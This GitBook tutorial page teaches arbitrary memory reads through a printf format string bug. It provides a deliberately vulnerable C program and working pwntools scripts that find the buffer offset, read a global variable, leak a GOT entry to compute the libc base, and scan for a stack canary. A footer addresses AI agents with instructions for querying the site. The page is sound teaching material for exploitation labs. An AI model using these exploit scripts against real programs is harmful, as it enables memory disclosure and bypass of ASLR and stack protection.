> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/14.-arbitary-read-write/read.md).

# 0x12 — Arbitrary Read Using Format String Vulnerability

## Overview

An **arbitrary read** via format string lets you read the contents of **any memory address** — including stack canaries, saved return addresses, libc pointers, heap contents, and global variables.

This is typically used to:

* Leak libc addresses (defeat ASLR)
* Leak stack canaries (bypass stack protector)
* Read out secret values, flags, or credentials

***

## The `%s` Specifier

`%s` tells `printf` to interpret the corresponding argument as a **pointer to a string** and dereference it.

So if the stack at offset 7 holds the value `0x601040`, then:

```
%7$s  →  printf dereferences 0x601040 and prints bytes until null
```

This is your read primitive.

***

## Strategy

1. Find your buffer's offset in the format string (as covered in 0x11)
2. Place the target address in your input buffer
3. Use `%N$s` where N is the offset pointing to your address
4. `printf` dereferences it and prints the memory contents

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int secret = 0xcafebabe;

void vuln() {
    char buf[256];
    printf("Input: ");
    fgets(buf, 256, stdin);
    printf(buf);            // format string vulnerability
}

int main() {
    vuln();
    return 0;
}
```

Compile:

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

***

## Step 1: Find Your Buffer Offset

```python
from pwn import *

p = process('./vuln')

# Marker: AAAA = 0x41414141
payload = b'AAAA.' + b'%p.' * 30
p.sendlineafter(b'Input: ', payload)
output = p.recvall(timeout=1)
print(output)
```

Find `0x41414141` in the output. Say it appears at position 8 → **offset = 8**.

Alternatively, use pwntools FmtStr:

```python
from pwn import *

def send_fmt(payload):
    p = process('./vuln')
    p.sendlineafter(b'Input: ', payload)
    response = p.recvall(timeout=1)
    p.close()
    return response

fmt = FmtStr(execute_fmt=send_fmt)
print(fmt.offset)   # prints the offset automatically
```

***

## Step 2: Read a Known Address

### Reading the `secret` variable

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

secret_addr = elf.sym['secret']   # or: nm vuln | grep secret
offset = 8

# Build payload: [address][format_specifier]
# On 64-bit, we place the address AFTER the format string to avoid null byte issues
payload = f'%{offset + 1}$s|||'.encode() + p64(secret_addr)

p.sendlineafter(b'Input: ', payload)
data = p.recvuntil(b'|||')
print(f"Secret bytes: {data[:4].hex()}")
print(f"Secret value: {hex(u32(data[:4]))}")
```

***

## 64-bit Address Placement Problem

On x86-64, addresses like `0x601040` contain a **null byte** (`0x00`) at the high bytes. Since `printf` stops at null bytes when reading the format string, placing the address **before** the format specifier kills the payload.

**Solution**: Place the address **at the end** of the payload.

```
Layout:  [format_specifiers][padding if needed][address]
Example: %11$s|||<8-byte address>
```

The format specifiers are read by printf before it hits the null bytes in the address.

***

## Step 3: Leak a libc Address (Defeating ASLR)

The GOT holds resolved libc addresses. Reading a GOT entry gives you a libc runtime address.

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

offset = 8
got_puts = elf.got['puts']

# Read 8 bytes at puts@got
# We want offset to point to our address — calculate exact position
# payload = format_string + padding + address
# format string = 6 bytes ("%8$s||"), address starts at position aligned to 8 bytes

def read_addr(addr):
    fmt = f'%{offset}$s|||'.encode()
    # Padding to align address to 8 bytes
    padding = b'A' * (8 - len(fmt) % 8) if len(fmt) % 8 != 0 else b''
    payload = fmt + padding + p64(addr)
    p.sendlineafter(b'Input: ', payload)
    data = p.recvuntil(b'|||')[:-3]   # strip the ||| marker
    return data

leaked = read_addr(got_puts).ljust(8, b'\x00')
leaked_addr = u64(leaked)
log.success(f"Leaked puts: {hex(leaked_addr)}")

libc_base = leaked_addr - libc.sym['puts']
log.success(f"libc base:  {hex(libc_base)}")
```

***

## Step 4: Leak a Stack Canary

If the binary has a stack canary, you can leak it via format string:

```python
# The canary is typically accessible as a stack value
# It usually ends in 00 (null byte on the low byte)
# Look for it in the %p dump near your saved RBP

for i in range(1, 30):
    p = process('./vuln')
    payload = f'%{i}$p'.encode()
    p.sendlineafter(b'Input: ', payload)
    val = p.recvline().strip().decode()
    p.close()
    # Canary ends in '00' (low byte is null)
    if val.endswith('00') and val.startswith('0x') and len(val) == 18:
        print(f"Possible canary at offset {i}: {val}")
```

***

## Using pwntools `fmtstr_payload`

For complex scenarios, pwntools can build format string payloads automatically:

```python
from pwn import *

# Auto-build an arbitrary read is manual, but writes are automated:
# fmtstr_payload(offset, {addr: value})  — for writes (covered in 0x13)
```

For reads, the manual approach above is standard.

***

## Complete Exploit: Leak + Shell

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.binary = elf

offset = 8

def leak_got(got_entry):
    p = process('./vuln')
    fmt = f'%{offset}$s|||'.encode()
    pad = b'A' * ((8 - len(fmt) % 8) % 8)
    payload = fmt + pad + p64(got_entry)
    p.sendlineafter(b'Input: ', payload)
    data = p.recvuntil(b'|||')[:-3]
    p.close()
    return u64(data.ljust(8, b'\x00'))

leaked = leak_got(elf.got['puts'])
libc.address = leaked - libc.sym['puts']

log.success(f"puts @ {hex(leaked)}")
log.success(f"libc @ {hex(libc.address)}")

# Now use this libc address to build a ret2libc exploit...
```

***

## Summary

| Goal                | Method                              | Specifier Used |
| ------------------- | ----------------------------------- | -------------- |
| Read stack values   | `%N$p` at known offset              | `%p`           |
| Read memory content | Place addr at end, `%N$s`           | `%s`           |
| Leak libc addr      | Read a resolved GOT entry with `%s` | `%s`           |
| Leak canary         | Find canary in `%p` dump            | `%p`           |

***

## Key Takeaways

* `%s` dereferences a pointer and reads memory — your core arbitrary read primitive
* On 64-bit, addresses must go **after** the format specifiers (null byte issue)
* GOT entries are the best targets to leak libc addresses
* Use markers (like `|||`) to cleanly parse the output
* Finding the correct offset is essential — automate it with pwntools or the AAAA technique


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/14.-arbitary-read-write/read.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
